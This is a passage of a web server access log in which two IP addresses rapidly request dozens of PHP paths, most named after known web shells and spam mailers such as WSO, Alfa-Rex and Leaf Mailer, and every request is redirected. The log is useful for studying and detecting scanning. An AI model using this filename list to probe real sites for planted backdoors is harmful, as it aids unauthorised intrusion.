Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:42 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:46 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:51 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:54 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:39:57 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:01 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:05 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:11 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:16 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:20 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:24 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:28 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:30 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:32 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:36 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:40 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:44 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:47 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:50 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:52 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:53 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:55 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:40:57 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:04 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:05 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:07 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:10 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:12 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:18 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:21 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:24 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:28 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:29 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:33 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:34 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:38 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:40 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:42 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:44 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:47 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:48 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:51 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:54 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:41:56 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.90.231.193 - - [12/Apr/2025:11:41:58 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:41:59 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 167.172.21.236 - - [12/Apr/2025:11:41:59 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.90.231.193 - - [12/Apr/2025:11:41:59 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:41:59 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:00 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:00 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:01 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:01 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:02 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:02 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:02 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:02 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:03 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:03 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:03 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 167.172.21.236 - - [12/Apr/2025:11:42:03 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.90.231.193 - - [12/Apr/2025:11:42:03 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:04 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:05 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:06 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:06 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:06 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:07 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 167.172.21.236 - - [12/Apr/2025:11:42:07 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.90.231.193 - - [12/Apr/2025:11:42:07 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:07 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:08 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:08 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:08 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:09 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 167.172.21.236 - - [12/Apr/2025:11:42:09 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.90.231.193 - - [12/Apr/2025:11:42:09 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:09 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:10 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:10 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:10 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:10 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:11 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:11 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:11 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:11 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:11 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 167.172.21.236 - - [12/Apr/2025:11:42:12 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.90.231.193 - - [12/Apr/2025:11:42:12 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:12 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:12 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:13 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:13 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:13 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:14 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:14 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:14 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 167.172.21.236 - - [12/Apr/2025:11:42:14 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.90.231.193 - - [12/Apr/2025:11:42:15 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:15 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:15 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:15 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:16 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:16 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:16 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:16 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:16 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:16 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:17 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:17 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 167.172.21.236 - - [12/Apr/2025:11:42:17 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.90.231.193 - - [12/Apr/2025:11:42:17 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:17 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:17 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:17 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:18 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:18 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:18 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:18 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:19 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:19 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 167.172.21.236 - - [12/Apr/2025:11:42:19 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.90.231.193 - - [12/Apr/2025:11:42:19 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:19 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:20 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:20 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:20 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:20 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:21 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:21 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:21 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:21 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:22 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:22 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:22 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:11:42:22 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 167.172.21.236 - - [12/Apr/2025:11:42:23 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:26 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:29 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:31 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:33 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:35 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:37 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:41 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:45 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:47 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:50 -0400] "GET 